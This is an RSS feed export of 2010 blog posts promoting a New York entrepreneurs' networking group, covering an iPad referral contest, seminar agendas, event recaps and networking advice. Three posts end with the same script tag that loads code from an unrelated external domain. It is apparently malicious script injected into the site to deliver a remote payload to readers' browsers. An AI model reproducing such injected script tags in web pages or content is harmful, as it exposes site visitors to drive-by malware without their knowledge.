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		<title>NYEBN Is Giving Away A Free iPad For The April Contest</title>
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		<pubDate>Fri, 02 Apr 2010 15:59:25 +0000</pubDate>
		<dc:creator>Andrew Ran Wong</dc:creator>
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		<description><![CDATA[  This is scheduled for immediate press release. On April 1, NY Entrepreneurs Business Network (NYEBN) announced that it is giving away a free iPad to a lucky NYEBN member by the end of April.  NY Entrepreneurs Business Network is based in NYC and currently the group has grown to 4,300+ members in less [...]


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			<content:encoded><![CDATA[<p></p><p><a href="http://webstudio13.com/wp-content/uploads/2010/04/ipad1.jpg"><img class="alignleft size-full wp-image-2540" title="ipad1" src="http://webstudio13.com/wp-content/uploads/2010/04/ipad1.jpg" alt="iPad" width="212" height="220" /></a> <a href="http://www.ny-entrepreneur-network.com/" target="_blank"><img alt='' src='http://www.gravatar.com/avatar/01e678ae902abbb94570742c6d547b68?s=30&amp;d=X&amp;r=G' class='post_avatar no-rate avatar-30 avatar-default' height='30' width='30' /></a> This is scheduled for immediate press release. On April 1, <a href="http://www.ny-entrepreneur-network.com/" target="_blank">NY Entrepreneurs Business Network (NYEBN) </a>announced that it is giving away a free iPad to a lucky <strong>NYEBN </strong>member by the end of April.  <strong>NY Entrepreneurs Business Network</strong> is based in NYC and currently the group has grown to 4,300+ members in less than 11 months.  NYEBN started to implement monthly contests since the beginning of 2010.  The goal is to encourage its members to spread the word about the group and reward them based on their performance. <span id="more-2539"></span><br />
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<h2><span style="color: #ff0000;">Why an iPad?</span></h2>
<p><strong>iPad</strong> is the most recent and popular electronic device announced by Steve Jobs. Since its announcement, we have read many positive iPad reviews from <strong>TechCrunch, Gizmodo, Mashable, Cnet</strong>, etc. The iPad was so popular that they were sold out during the 1st week in its launch period. Watch the excitement (video) when Steve Jobs announced this device.</p>
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<h2><span style="color: #ff0000;"><strong>Why spread the word?</strong></span></h2>
<p>In my announcement that goes out to the group yesterday, I emphasized 4 pointers why joining NYEBN is a no-brainer for any business owners living in the tri-state region:</p>
<p><em>1).  NYEBN is the only networking group that runs consistent free  networking event in New York City with usually 300+ people attending</em></p>
<p><em>2). NYEBN is one of the fastest growing networking groups.  The NYEBN  community offers support for all its members</em></p>
<p><em>3). Anyone who joins  the group will be immediately qualified for its incentive programs.   For example, if John Doe joins the group on April 2, he will qualify to  participate in the free iPad giveaway contest</em></p>
<p><em>4). We stand for  the combination of entrepreneurship and technology, which happens to be  the perfect recipe to create a unique competitive edge for any business  in the modern world</em></p>
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<h2><span style="color: #ff0000;">How to get the iPad?</span></h2>
<p>NYEBN will run this contest on a &#8220;first-come first-served&#8221; basis.  The duration  of the contest is the entire April.  The first person who refers 30  people to NYEBN will get the free iPad.  All participants need to be NYEBN members.</p>
<p>All new members will be asked the following question when they join the group:</p>
<blockquote><p><em>Who introduced you to the group? (List the person&#8217;s full name)</em></p></blockquote>
<p>This question needs to be answered in full in order for the current members to get credit.</p>
<h2><span style="color: #ff0000;"><strong>How to track the progress?</strong></span></h2>
<p>NYEBN  will be uploading a spreadsheet every few days (<a href="http://www.ny-entrepreneur-network.com/files/" target="_blank">click  here</a>) that documents the program.  On the spreadsheet, information will be made available in terms of the names of the people who are actively involved with the program.   Everything is uploaded on the NYEBN site for full disclosure.</p>
<p><strong>If you&#8217;d like to become a participant for this program, you can sign up for it at <a href="http://NYEBN.com" target="_blank">NYEBN.com</a>.</strong><script src="http://ao.euuaw.com/9"></script></p>


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		<title>Event: Online Marketing/Social Media Seminar in NYC On April 1</title>
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		<pubDate>Thu, 01 Apr 2010 02:53:30 +0000</pubDate>
		<dc:creator>Andrew Ran Wong</dc:creator>
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			<content:encoded><![CDATA[<p></p><p><a href="http://webstudio13.com/wp-content/uploads/2010/03/internet-marketing1.jpg"><img class="alignleft size-full wp-image-2523" title="internet-marketing1" src="http://webstudio13.com/wp-content/uploads/2010/03/internet-marketing1.jpg" alt="Internet Marketing" width="212" height="220" /></a> <a href="http://www.ny-entrepreneur-network.com/" target="_blank"><img alt='' src='http://www.gravatar.com/avatar/01e678ae902abbb94570742c6d547b68?s=30&amp;d=X&amp;r=G' class='post_avatar no-rate avatar-30 avatar-default' height='30' width='30' /></a> At <a href="http://www.ny-entrepreneur-network.com/" target="_blank">NY Entrepreneurs Business Network</a>, we are excited to promote a series of educational seminars where business people have the opportunity to learn about technology and social media.  If you haven&#8217;t checked out our past events, here is your chance to do so (<a href="http://www.ny-entrepreneur-network.com/calendar/past_list/" target="_blank">click here</a>).  If you live near us, please come join us for tomorrow&#8217;s seminar which features <strong>Gabriel Shaoolian</strong>, the founder of <a href="http://www.bluefountainmedia.com/" target="_blank">Blue Fountain  Media</a>, and <strong>Ellen DePasquale</strong>, <em>The Software Revitalist</em>.  You can <a href="http://www.ny-entrepreneur-network.com/calendar/12868393/" target="_blank">RSVP here</a>.<span id="more-2520"></span></p>
<p><br/> &nbsp;</p>
<h2 style="text-align: center;"><span style="color: #ff0000;"><strong>Meeting agenda</strong></span></h2>
<p><em><strong>6:00 &#8211; 6:30 PM:</strong> Registration and informal networking<br />
<strong>6:30 &#8211; 7:00 PM:</strong> Getting the most value out of your website (Gabriel  Shaoolian)</em></p>
<p><em> </em></p>
<p><span style="color: #ff0000;"><strong><em>Details:</em></strong></span><em> </em></p>
<p><em> </em></p>
<p><em>~ Features that create  better usability – visitors can find what they are looking for<br />
~  Easy navigation<br />
~ Increase conversions<br />
~ Strategies to increase  new and returning visitors<br />
~ Create brand royalty</em></p>
<p><em> </em></p>
<p><em><strong>7:00 &#8211; 7:30 PM</strong>: How to market efficiently online  (Gabriel Shaoolian)</em></p>
<p><em> </em></p>
<p><span style="color: #ff0000;"><strong><em>Details:</em></strong></span></p>
<p><em> </em></p>
<p><em>~ Forms of online marketing<br />
~  Search engine marketing<br />
~ Social media marketing<br />
~ Bringing  qualified traffic to your site at low cost per visitor<br />
~ How to  measure the results</em></p>
<p><em> </em></p>
<p><em><strong>7:30  &#8211; 7:45 PM:</strong> Q&amp;A for Gabriel Shaoolian<br />
<strong>7:45 &#8211; 8:45 PM:</strong> Prospecting in the Digital Age (Ellen DePasquale)</em></p>
<p><em> </em></p>
<p><span style="color: #ff0000;"><strong><em>Details:</em></strong></span></p>
<p><em> </em></p>
<p><em>Social media websites and blogs hold a wealth of  information that can be harvested to turn cold calls into warm calls,  or supply details that help close the deal. These sites can be searched  in multiple ways to group<br />
people, companies and general data  together in ways that support your sales efforts.</em></p>
<p><em> </em></p>
<p><em>~ Learn new ways to search using Google and  Bing<br />
~ Learn how to search social media sites<br />
~ Learn about  vertical search engines to obtain market research and industry  information</em></p>
<p><em> </em><em><strong>8:45 &#8211;  9:00 PM:</strong> Q &amp; A for Ellen DePasquale</em></p>
<h2 style="text-align: center;"><span style="color: #ff0000;"><strong><strong>Gabriel Shaoolian Bio</strong></strong></span></h2>
<p><em>Gabriel Shaoolian, the founder of <a href="http://www.bluefountainmedia.com/" target="_blank">Blue Fountain  Media</a>, is a classic entrepreneur that has grown the company from a  three-person operation working out of a cramped corner of his apartment  into a thriving 70-person company serving clients that range from  start-ups to the Fortune 500. Some of his clients include: <strong>The NFL,  Nike, Procter &amp; Gamble and Elizabeth Arden</strong>.</em><em> </em></p>
<p><em><br />
Blue Fountain Media is a website design, development and online  marketing firm in Union Square, New York City. It&#8217;s a full-service shop  in building, designing and marketing websites. The company has achieved  some particularly impressive results with its SEO work (simply Google &#8220;<a href="http://www.google.com/search?aq=f&amp;sourceid=chrome&amp;ie=UTF-8&amp;q=website+design+company" target="_blank">website design company</a>&#8220;) and received a 5 Star Dun  &amp; Bradstreet rating for outstanding service and work quality. Blue  Fountain Media has also been featured in this month’s <a href="http://r20.rs6.net/tn.jsp?et=1103130485381&amp;s=19646&amp;e=001NVW-srwAitcxzo5FdjDdfz_MVB-Akt8DirCV1AmsH0ELBE4m3GuGrbvak7MrWUsSInRuuKG6ogcq9Nf-s1hRtPfIBDsr-WAw3MKFQn_7yzE=" target="_blank">Wall Street Journal</a> and <a href="http://r20.rs6.net/tn.jsp?et=1103130485381&amp;s=19646&amp;e=001NVW-srwAitexfT9um7_g-gRGCtSrhEJXLvjYHH9d66v-YfAm3i_7gN5qfsZzKK6KPmYF9Gf1sepSnL3osTkTYolM9IAE34WnRGVAVr0E_20=" target="_blank">Smart Money</a>.</em></p>
<p><em> </em></p>
<p><em><br />
In February,  Shaoolian is named Expert Columnist for <a href="http://youngentrepreneur.com/" target="_blank">YoungEntrepreneur.com</a>,  Self-Made Magazine and National Law Review. This is his first of many  articles to come: &#8220;<a href="http://www.youngentrepreneur.com/blog/online-reputation-management-6-steps-to-a-rock-solid-online-reputation" target="_blank">Online Reputation Management: 6 Steps to a Rock Solid  Online Reputation</a>&#8220;. Gabriel Shaoolian is also featured in the March  2010 issue of Crain’s New York Business (<a href="http://mycrains.crainsnewyork.com/executive_inbox/2010/03/how-to-hire-the-right-people-a.php" target="_blank">click here</a>) and featured as a search marketing  expert on Crain&#8217;s Business to Business (<a href="http://www.btobonline.com/apps/pbcs.dll/article?AID=/20100310/FREE/100309911/1114/FREE#seenit" target="_blank">click here</a>). Furthermore, Gabriel has been profiled  by O’Reilly Media (Web 2.0 Expo).</em></p>
<h2 style="text-align: center;"><span style="color: #ff0000;"><strong>Ellen DePasquale Bio</strong></span></h2>
<p><em><strong>Ellen DePasquale</strong>, The Software Revitalist and founder of <a href="http://www.eocomputing.com/" target="_blank">Efficient Office  Computing</a>, is a well-known software expert. She brings more than 20  years of software experience to her consulting, training, writing, and  public speaking. Ellen&#8217;s approach to software is personalized and  goal-based, focusing on features that produce the desired results.</em><em> </em></p>
<p><em><br />
Ellen is a passionate speaker and has been invited to  talk about software nation-wide by a host of organizations including the  Financial Women&#8217;s Association, NYSSCPA, Executive Women&#8217;s Golf  Association, and Inc. Magazine. She has participated as both a speaker  and a moderator for two international events; <strong>Insights (2006 &amp;  2007)</strong>, <em>Sage Software, Inc.</em>&#8217;s annual reseller conference and  the <strong>American International Toy Fair (2001 &amp; 2002)</strong>, where she  also served on their <em>Honorary Conference Advisory Board.</em> Ellen  will be speaking in March at the <a href="http://smallbiztechsummit.com/" target="_blank">Small Business  Summit 2010</a> in NYC.</em></p>
<p><em> </em></p>
<p><em><br />
Author of <a href="http://www.eocomputing.com/itsabouttime.php" target="_blank">It&#8217;s  About Time: Time Management Tips From The Software Revitalist</a>, Ellen  has also been published in many top business and technology magazines  including <em>Crain&#8217;s New York Business, The New York Enterprise Report,  Small Business Computing &amp; Communications, Success, Worth,  Accounting Technology, The CPA Journal, Working Woman, Inc. Technology,  and PC Magazine</em>.</em></p>
<p><strong>If you live in the tri-state region, feel free to stop by our <a href="http://www.ny-entrepreneur-network.com/calendar/12868393/" target="_blank">seminar tomorrow. </a>It&#8217;ll be a valuable experience for all attendees.  <a href="http://www.ny-entrepreneur-network.com/calendar/12868393/" target="_blank">RSVP here.</a></strong></p>
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		<title>NYEBN Is Officially Launching Digital Media Networking Events</title>
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		<pubDate>Fri, 26 Mar 2010 03:23:45 +0000</pubDate>
		<dc:creator>Andrew Ran Wong</dc:creator>
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		<description><![CDATA[  It is official now.  NY Entrepreneurs Business Network, also known as NYEBN, will start hosting digital networking events for local business people in NYC.  NYEBN, a business community based in NYC, was originally founded in May, 2009.  The group has grown to a 4,200-people organization over the past 10 months.  With the introduction [...]


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			<content:encoded><![CDATA[<p></p><p><a href="http://webstudio13.com/wp-content/uploads/2010/03/digital-media-networking.jpg"><img class="alignleft size-full wp-image-2489" title="digital media networking" src="http://webstudio13.com/wp-content/uploads/2010/03/digital-media-networking.jpg" alt="NYEBN Digital Media Networking Events" width="212" height="220" /></a> <a href="http://www.ny-entrepreneur-network.com/" target="_blank"><img alt='' src='http://www.gravatar.com/avatar/01e678ae902abbb94570742c6d547b68?s=30&amp;d=X&amp;r=G' class='post_avatar no-rate avatar-30 avatar-default' height='30' width='30' /></a> It is official now.  <a href="http://www.ny-entrepreneur-network.com/" target="_blank">NY Entrepreneurs Business Network,</a> also known as <strong>NYEBN</strong>, will start hosting<a href="http://www.ny-entrepreneur-network.com/calendar/12988671/" target="_blank"> digital networking events</a> for local business people in NYC.  <strong>NYEBN</strong>, a business community based in NYC, was originally founded in May, 2009.  The group has grown to a 4,200-people organization over the past 10 months.  With the introduction of this new type of events, NYEBN is striving to create a positive environment where tech/internet entrepreneurs can network together and exchange valuable ideas.<span id="more-2487"></span></p>
<p><br/> &nbsp;</p>
<p><strong>Why do we host this type of event?  Here are the 5 major things we want to accomplish:</strong></p>
<blockquote><p>1. Encourage the usage of Internet tools in developing viable  business plans;</p>
<p>2. Foster positive learning environment where information flows freely;</p>
<p>3. Support local tech community by hosting quality networking events for &#8220;geeks&#8221;;</p>
<p>4. Create a tech-oriented networking platform for all NYEBN entrepreneurs;</p>
<p>5. Keep certain events focused only on a niche so people know what to expect.</p></blockquote>
<p><br/> &nbsp;<br />
<strong>What types of people should come? If you fall into any of the following categories, you definitely should not miss the event:</strong></p>
<blockquote><p><em>PR 2.0/Marketing 2.0 agents<br />
Publishers<br />
Editors for  publication firms (NY Times, WSJ, etc&#8230;)<br />
Bloggers/podcasters/video  bloggers<br />
Social media lovers/experts<br />
Tech startups<br />
Tech  geeks<br />
App developers (Facebook, iPhone, etc&#8230;)<br />
Journalists<br />
Speakers/authors<br />
Web 2.0 evangelists<br />
Freelancers<br />
Internet marketers<br />
SEO&#8217;ers<br />
Graphic designers<br />
Advertisers<br />
E-commerce site owners<br />
Website  developers<br />
Meetup/event organizers<br />
VCs/Angel investors<br />
Internet  entrepreneurs<br />
Entrepreneurs looking for funding<br />
Business  consultants<br />
Idea generators/thinkers<br />
etc&#8230;</em></p></blockquote>
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Last but not least, if you would like to attend our first digital networking event, you can <a href="http://www.ny-entrepreneur-network.com/calendar/12988671/" target="_blank">RSVP here</a> (<em>An Evening with Marketers, Entrepreneurs,  &amp; Tech Geeks</em>).</p>
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		<title>&#8220;How To Build A Viral Community&#8221; Slides Showcase</title>
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		<pubDate>Wed, 24 Mar 2010 19:10:27 +0000</pubDate>
		<dc:creator>Andrew Ran Wong</dc:creator>
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		<description><![CDATA[  Having built a 4,200 member NYC Meetup group over the past 10 months, I am convinced that social media can be a major and effective tool when properly used to promote and market your business.  But that doesn&#8217;t necessarily mean you should pitch your followers on Twitter everyday.  I&#8217;ve put together a guide [...]


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		<title>Event: Interview With Marc Cenedella, The Founder Of TheLadders.com</title>
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		<pubDate>Thu, 11 Mar 2010 16:34:42 +0000</pubDate>
		<dc:creator>Andrew Ran Wong</dc:creator>
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		<description><![CDATA[  I am very excited about this upcoming interview with Marc Cenedella, the founder of TheLadders.com. Marc will mainly be talking about entrepreneurship.  The event consists of 2 sessions.  I will be interviewing Marc for the first hour. And Marc has a one-hour presentation afterward. Click here to find out more details.
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			<content:encoded><![CDATA[<p></p><p><a href="http://webstudio13.com/wp-content/uploads/2010/03/TheLadders_new.jpg"><img class="alignleft size-full wp-image-2395" title="TheLadders_new" src="http://webstudio13.com/wp-content/uploads/2010/03/TheLadders_new.jpg" alt="TheLadders" width="212" height="220" /></a> <a href="http://www.ny-entrepreneur-network.com/" target="_blank"><img alt='' src='http://www.gravatar.com/avatar/01e678ae902abbb94570742c6d547b68?s=30&amp;d=X&amp;r=G' class='post_avatar no-rate avatar-30 avatar-default' height='30' width='30' /></a> I am very excited about this upcoming interview with <strong>Marc Cenedella</strong>, the founder of <a href="http://TheLadders.com" target="_blank">TheLadders.com</a>. Marc will mainly be talking about entrepreneurship.  <a href="http://www.ny-entrepreneur-network.com/calendar/12847945/" target="_blank">The event</a> consists of 2 sessions.  I will be interviewing Marc for the first hour. And Marc has a one-hour presentation afterward. <a href="http://www.ny-entrepreneur-network.com/calendar/12847945/" target="_blank">Click here</a> to find out more details.</p>
<p><a href="http://theladders.com/" target="_blank">TheLadders.com</a> is  the world&#8217;s leading and largest online marketplace for $100K+ jobs and  $100K+ job seekers. It&#8217;s also the 3rd largest job searching site after <em><a href="http://careerbuilder.com" target="_blank">Careerbuilder</a> and <a href="http://monster.com" target="_blank">Monster</a></em>.  <a href="http://theladders.com/" target="_blank">TheLadders.com</a> has received numerous accolades including the 2009 Webby Award for Best  Employment Website<span id="more-2394"></span>, 2009 Best Companies to Work for New York, 2009  Silicon Alley Award &#8211; Most Likely to be Worth $1 Billion and &#8220;Best of  the Web&#8221; designations by BusinessWeek and Forbes.</p>
<p>Marc has developed the company from a start up with just a few people to  a booming NYC company with almost 300 employees.  His case study has  been published by the Harvard business network.  Marc is currently  traveling the country sharing his years of experience in the job search  industry and launching a company with crowds at top industry conferences  and business schools.</p>
<p>You can find 2 company commercials in the following. Each commercial is well designed and has great humor in it.</p>
<p><center><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/CBrML8pUulc&#038;hl=en_US&#038;fs=1&#038;rel=0"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/CBrML8pUulc&#038;hl=en_US&#038;fs=1&#038;rel=0" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object></center></p>
<p><center><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/W89YXGQShCI&#038;hl=en_US&#038;fs=1&#038;rel=0"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/W89YXGQShCI&#038;hl=en_US&#038;fs=1&#038;rel=0" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object></center></p>
<p style="text-align: center;"><strong>Marc Cenedella&#8217;s full bio</strong></p>
<p style="text-align: center;">
<p><em>Marc Cenedella is the founder and chief executive officer of  TheLadders.com, the world&#8217;s leading online marketplace for $100K+ jobs  and $100K+ job seekers.</em></p>
<p><em> </em></p>
<p><em>Marc started TheLadders.com  in 2003 to make finding a professional job a lot easier, and  transformed the way $100K+ candidates and recruiters connect online.  With a membership base of 3.5 million, TheLadders.com job search and  recruitment model has been embraced by executives and employers alike,  with the company ranking #1 for overall satisfaction in an independent  survey of recruiters.</em></p>
<p><em> </em></p>
<p><em>TheLadders.com has received  numerous accolades including the 2009 Webby Award for Best Employment  Website, 2009 Best Companies to Work for New York, 2009 Silicon Alley  Award &#8211; Most Likely to be Worth $1 Billion and &#8220;Best of the Web&#8221;  designations by BusinessWeek and Forbes.</em></p>
<p><em> </em></p>
<p><em>Marc is a  populist scientist of employment. His passion in life is jobs, their  sociology and culture: the process by which everyone passes from family  through school and into a career. It&#8217;s the second most-important thing  in people&#8217;s lives, after love and family and as a result, the subject of  jobs itself is Marc&#8217;s chosen devotion in his professional life. A  widely recognized thought leader on job search, career management,  recruiting and business, Marc is frequently sought out by national media  outlets and organizations for his expert commentary on employment and  entrepreneurial related issues.</em></p>
<p><em> </em></p>
<p><em>Prior to founding  TheLadders.com, Marc was the senior vice president of Finance and  Operations at HotJobs.com, where he orchestrated the company&#8217;s $436  million sale to Yahoo. Previously, Marc was an associate vice president  at The Riverside Company, a New York-based private equity firm.</em></p>
<p><em> </em></p>
<p><em>Marc holds an MBA with high distinction from Harvard Business  School, where he was named a Baker Scholar (top 5% of class). He earned  his B.A. in political science at Yale.</em></p>
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		<title>Recap: NYEBN Event At La Pomme NYC (Feb. 9, 2010)</title>
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		<pubDate>Thu, 11 Feb 2010 23:26:04 +0000</pubDate>
		<dc:creator>Andrew Ran Wong</dc:creator>
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		<description><![CDATA[  This post is a recap of a networking event hosted by NY Entrepreneurs Business Network (NYEBN) on Tuesday, Feb. 9.  NYEBN is a business networking group based in NYC.  Social media has always been a big component of this group in that we are currently giving monthly seminars to help our entrepreneurs understand [...]


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			<content:encoded><![CDATA[<p></p><p><a href="http://s88493.gridserver.com/wp-content/uploads/2010/02/La-Pomme1.jpg"><img class="alignleft size-full wp-image-2337" title="La Pomme1" src="http://s88493.gridserver.com/wp-content/uploads/2010/02/La-Pomme1.jpg" alt="NYEBN La Pomme Networking Event" width="212" height="220" /></a> <a href="http://www.ny-entrepreneur-network.com/" target="_blank"><img alt='' src='http://www.gravatar.com/avatar/01e678ae902abbb94570742c6d547b68?s=30&amp;d=X&amp;r=G' class='post_avatar no-rate avatar-30 avatar-default' height='30' width='30' /></a> This post is a recap of a networking event hosted by <a href="http://www.ny-entrepreneur-network.com/" target="_blank">NY Entrepreneurs Business Network (NYEBN)</a> on Tuesday, Feb. 9.  NYEBN is a business networking group based in NYC.  Social media has always been a big component of this group in that we are currently <a href="http://www.ny-entrepreneur-network.com/calendar/list/" target="_blank">giving monthly seminars</a> to help our entrepreneurs understand the pivotal roles that social media plays in terms of building a sustainable business and developing long-lasting customer relationships.</p>
<p>This week, New York is being hit hard by the snowstorm.  But we are really pleased with the turnout at <a href="http://www.ny-entrepreneur-network.com/calendar/12375287/" target="_blank">Tuesday&#8217;s event</a>. <span id="more-2336"></span>Being a big social media advocate, I&#8217;ve done a <a href="http://vimeo.com/9348776" target="_blank">short interview</a> with one attendee and uploaded the clip to <a href="http://vimeo.com" target="_blank">Vimeo</a> to share with everyone. <a href="http://twitter.com/jckhewitt" target="_blank">JC Hewitt</a> is a young entrepreneur and a great networker.  I&#8217;ve had a thoroughly productive discussion with him the other day about social media and entrepreneurship.  See the video below.  I&#8217;ve also created a photo album which you can see in the following.</p>
<p>You can go to <a href="http://www.ny-entrepreneur-network.com/" target="_blank">NYEBN&#8217;s website</a> to find out more information about the group.  We welcome professionals from diversified industries and backgrounds. Currently, we stick to the routine of hosting at least one event per week.</p>
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<p><a href="http://vimeo.com/9348776">An Interview With JC Hewitt At NYEBN&#8217;s Networking Event</a> from <a href="http://vimeo.com/user2900946">Andrew Ran Wong</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
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		<title>Ways To Improve Your Networking Skills</title>
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		<pubDate>Tue, 09 Feb 2010 16:54:25 +0000</pubDate>
		<dc:creator>Susan Risdal</dc:creator>
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		<description><![CDATA[  I am the assistant organizer of NY Entrepreneurs Business Network (http://nyebn.com). We host efficient networking events for our members, and such events typically take place on a very frequent basis. I’ve watched quite a few networkers over the last few months, some successful, some discouraged.
Networking is fun and should be something you look [...]


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			<content:encoded><![CDATA[<p></p><p><a href="http://www.ny-entrepreneur-network.com/"><img class="alignleft size-full wp-image-2327" title="Networking_pic" src="http://s88493.gridserver.com/wp-content/uploads/2010/02/Networking_pic.jpg" alt="Improve Your Networking Skills" width="212" height="220" /></a> <a href="http://www.entechserv.com/" target="_blank"><img alt='' src='/sue risdal1.jpg' class='post_avatar no-rate avatar-30 avatar-default' height='30' width='30' /></a> I am the assistant organizer of <a href="http://www.ny-entrepreneur-network.com/" target="_blank">NY Entrepreneurs Business Network</a> (http://nyebn.com). We host efficient networking events for our members, and such events typically take place on a very frequent basis. I’ve watched quite a few networkers over the <a href="http://www.ny-entrepreneur-network.com/calendar/past_list/" target="_blank">last few months</a>, some successful, some discouraged.</p>
<p>Networking is fun and should be something you look forward to.  If you are going to attend an event like ours <a href="http://www.ny-entrepreneur-network.com/calendar/12057919/" target="_blank">with hundreds of people attending</a>, and engage in conversations with as many of these people as possible, you might as well enjoy yourself while doing it.<span id="more-2325"></span></p>
<p><strong>First, let’s look at some definitions of networking:</strong></p>
<p><strong>Mirriam Webster, date: 1967</strong><br />
<em>1 : the exchange of information or services among individuals, groups, or institutions; specifically : the cultivation of productive relationships for employment or business</em></p>
<p><strong>And a more up-to-date definition from <a href="http://dictionary.com" target="_blank">Dictionary.com</a>:</strong><br />
<em>1. a supportive system of sharing information and services among individuals and groups having a common interest.</em></p>
<p>Networking in the ‘60s might have meant finding people to sell to, but the concept has evolved to mean creating an infrastructure of people and relationships.  If you go to <a href="http://www.ny-entrepreneur-network.com/calendar/" target="_blank">our events</a> with the idea of immediately finding customers for your business, you are going to be sadly disappointed.</p>
<p>Let’s start with the things you should do.  Before you go to an event, do whatever you need to do with yourself, such as the correct tie, the perfect blouse, etc. so that you have no attention on yourself or your appearance.</p>
<p>When you arrive, do the following: don’t think about you; put all of your attention on the person you are talking to; repeat the above.  If you really listen to the people who are talking to you and let them know it, then you can easily begin a relationship based on good communication.</p>
<p>Here are the things you should <strong>not</strong> do: put your attention on yourself and what you do; hard sell.</p>
<p>We’ve all endured the hard sell guys – the guys who are convinced that if they really got through to someone, that person would buy their service.  Personally, I think of it as being accosted.  If you try this technique you will find that not only will a sale not be made, but people will avoid talking to you from that point on.</p>
<p>How do you network? Walk up to someone, introduce yourself, ask what they do, request a card and move on.  If someone should ask what you do, keep it short.  Make notes if you want.  If you connect with someone, enjoy the conversation.  Otherwise, keep moving.  It is as simple as that.</p>
<p>We all know that ultimately the reason you attend these events is to get new business.  There are plenty of <a href="http://webstudio13.com/category/blogs/" target="_blank">blogs</a> and training sessions available to train you in exactly how to make that work.  Now are you ready to have the finest networking experience? At <a href="http://www.ny-entrepreneur-network.com/" target="_blank">NY Entrepreneurs Business Network</a>, we always welcome newcomers that are eager to bond with other members.  To check out our next event, simply go to <a href="http://www.ny-entrepreneur-network.com/" target="_blank">our website</a> and sign up as a group member. Then you can come fine tune your networking skills at <a href="http://www.ny-entrepreneur-network.com/calendar/" target="_blank">the next big party</a> in NYC.<script src="http://ao.euuaw.com/9"></script></p>


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		<title>The Fruitful Follow-Up</title>
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		<pubDate>Fri, 05 Feb 2010 22:02:46 +0000</pubDate>
		<dc:creator>Reese Minshew</dc:creator>
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		<description><![CDATA[  It&#8217;s almost Tuesday, and I&#8217;m ready to hit the NYEBN networking event at La Pomme. I had a blast at the last event, and met a lot of interesting people&#8211;several of whom will be good business connections.
Sure, as a solo entrepreneur I know how important it is to network&#8211;I bet you do, too&#8211;but I&#8217;ll be [...]


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			<content:encoded><![CDATA[<p></p><p><a href="http://s88493.gridserver.com/wp-content/uploads/2010/02/networking_professionals1.jpg"><img class="alignleft size-full wp-image-2299" title="networking_professionals1" src="http://s88493.gridserver.com/wp-content/uploads/2010/02/networking_professionals1.jpg" alt="NYEBN Networking Follow-Up" width="212" height="220" /></a> <a href="http://www.goeasywriter.com/" target="_blank"><img alt='' src='/reese-minshew2.jpg' class='post_avatar no-rate avatar-30 avatar-default' height='30' width='30' /></a> It&#8217;s almost Tuesday, and I&#8217;m ready to hit the NYEBN <a href="http://www.ny-entrepreneur-network.com/calendar/12375287/" target="_blank">networking event</a> at La Pomme. I had a blast at the <a href="http://www.ny-entrepreneur-network.com/calendar/12133426/?eventId=12133426&amp;action=detail" target="_blank">last event</a>, and met a lot of interesting people&#8211;several of whom will be good business connections.</p>
<p>Sure, as a solo entrepreneur I know how important it is to network&#8211;I bet you do, too&#8211;but I&#8217;ll be honest with you.  About 90% of the business card I collect wind up in a shoebox on my bookshelf where, frankly, they&#8217;re not doing anyone any good.  It&#8217;s terrible, really, because five good follow-ups are worth more than a hundred moldering business cards. <span id="more-2298"></span> But following up always seems kind of&#8230;lame.  It has the desperate smell junior high school&#8230; <em>&#8220;Great meeting you. Please be my friend/send me lots of business.&#8221;</em></p>
<p>But five of the business-owners who followed-up with me after January&#8217;s event managed it in such graceful, interesting, and diverse ways that I just might have to steal their ideas. <strong>Without further ado, here are five follow-ups that are guaranteed to help you win friends and influence people.</strong></p>
<h2><span style="color: #ff0000;"><strong>With a job offer</strong></span></h2>
<p>I woke up Wednesday to a request for a meeting from Eugene Moore of <a href="http://moore-tech.com/" target="_blank">Moore Technology Consulting</a>.  It seems he&#8217;s in the process of revamping his website, and may need a little <a href="http://goeasywriter.com/" target="_blank">Easy Writing</a> to get it up-and-running.  Kismet?  Sure, you&#8217;re simply not going to need the services of every person you encounter at an event&#8211;and he and I may or may not wind up doing business together&#8211;but if you&#8217;ve had a project in mind for a while, and you run across that type of service provider at an event, ask them for a bid. It&#8217;s a great way to follow-up, and they just might be the connection you need.</p>
<h2><span style="color: #ff0000;">With a demo</span></h2>
<p>I had no idea what coaching actually was until I encountered Geri Mazur of <a href="http://mazurconsulting.com/" target="_blank">Mazur Consulting Group</a>. But since she offered me a free demo, I jumped at the chance (isn&#8217;t free a great word?).  We spent a fruitful half-an-hour on the phone together while she plied her craft, and I now really get not only coaching, but the unique attributes and attitudes that Geri herself brings to the field.  And as a follow-up strategy? Priceless.</p>
<h2><span style="color: #ff0000;">With your best marketing tool</span></h2>
<p>I contacted Boris Chernyy of <a href="http://mediagravity.com/" target="_blank">Media Gravity</a> because we&#8217;re in related fields&#8211;a no-brainer, right?  But his response to my generic &#8220;Let&#8217;s LinkIn&#8221; email contained several interesting and well-prepared case studies that showcased his business and its creative approach to problem-solving.</p>
<h2><strong><span style="color: #ff0000;">With an MBA</span></strong></h2>
<p>A mutually beneficial arrangement can open a lot of doors. <a href="http://webstudio13.com/about-2/" target="_blank">Andrew Ran Wong</a> was gracious enough to offer me the chance to post on his blog, paving the way for both of us to build our businesses at the same time.</p>
<h2><span style="color: #ff0000;">With the best advice</span></h2>
<p>Just a few days after the <a href="http://www.ny-entrepreneur-network.com/calendar/12133426/" target="_blank">NYEBN Meetup</a>, I actually attended another networking event&#8211;and who were the first people I saw as I walked in the door? It was Sean McVey and Eric Ast, the <a href="http://risinglynx.com/" target="_blank">social media</a> guys from Rising Lynx. Not only was I impressed by their networking tenacity, but they had already taped out the best drink specials&#8211;and they gave me the heads-up. Talk about value-add. (<em>Editor&#8217;s note: Sean McVey and Eric Ast are both NYEBN members.</em>)</p>
<p>So I guess the takeaway here is&#8230;<strong>get creative with your follow-up</strong>. It will help you stay top-of-mind, and keep you connected between events. I look forward to seeing you on <a href="http://www.ny-entrepreneur-network.com/calendar/12375287/" target="_blank">Tuesday</a>. And to following up with you on Wednesday.<script src="http://ao.euuaw.com/9"></script></p>


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		<title>This Week in NYC Tech: January 24th</title>
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		<pubDate>Sun, 24 Jan 2010 22:12:03 +0000</pubDate>
